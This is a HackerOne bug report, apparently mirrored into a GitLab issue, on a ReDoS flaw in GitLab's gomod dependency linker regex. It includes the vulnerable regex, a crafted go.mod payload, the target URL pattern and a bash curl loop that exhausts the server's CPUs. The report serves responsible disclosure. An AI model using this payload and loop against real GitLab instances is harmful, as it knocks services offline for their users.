ReDoS in gomod dependency linker
HackerOne report #2359528 by joaxcar
on 2024-02-09, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
This is the regexp to check for go package paths
def go_package_regex
# A Go package name looks like a URL but is not; it:
# - Must not have a scheme, such as http:// or https://
# - Must not have a port number, such as :8080 or :8443
[@]go_package_regex ||= %r{
\b (?# word boundary)
(?<domain>
[0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])? (?# first domain)
(?:\.[0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])?)* (?# inner domains)
\.[a-z]{2,} (?# top-level domain)
)
(?<path>/(?:
[-/$_.+!*'(),0-9a-z] (?# plain URL character)
| %[0-9a-f]{2})* (?# URL encoded character)
)? (?# path)
\b (?# word boundary)
}ix
end
It a quite an advanced regex, and it is vulnerable to catastrophic backtracking.
This regex is used as a part in the gomod
linker like this
REGEX = Regexp.new("(?<name>#{NAME.source})(?:\\s+(?<version>v#{SEMVER.source}))?", SEMVER.options | NAME.options).freeze
An attacker can craft a payload of this structure
'a.a' + '0.0'.repeat(20000)
By creating a file looking like this
module example.com/mymodule
go 1.14
require (
a.a0.00.00. <BIG_PAYLOAD> .00.00.0 v1.2.3
)
the attacker can make the GitLab instance unresponsive by sending 1 request a second to
https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
to put all CPUs at max capacity (tested on 1K reference architecture)
Steps to reproduce
Use a local hosted Gitlab server
- Log in to Gitlab
- Create a new project (or use an existing one) make it public (for ease of attack)
- Upload the file attached here (or create your own one named
go.mod
)
- Visit https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
- Look in devtools that the request will eventually fail
- To exhaust the server run this script in a terminal (change the URL)
### !/bin/bash
### URL to which the curl request will be made
URL="http://20.236.120.94/root/test/-/blob/main/go.mod?format=json&viewer=simple"
### Duration for the loop to run: 1 minute (60 seconds)
DURATION=60
### Start time
START_TIME=$(date +%s)
### Loop until the duration is reached
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do
# Make the curl request
curl $URL &
# Wait for 1 second
sleep 1
done
- SSH into the gitlab server and use
top
orhtop
to view the CPU usage
Impact
DOS of gitlab instance and exhaustive resource consumption
What is the current bug behavior?
Creating a malicious go.mod
file will cause REDOS
What is the expected correct behavior?
The go.mod
file should not cause ReDos
Impact
DOS of gitlab instance and exhaustive resource consumption
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: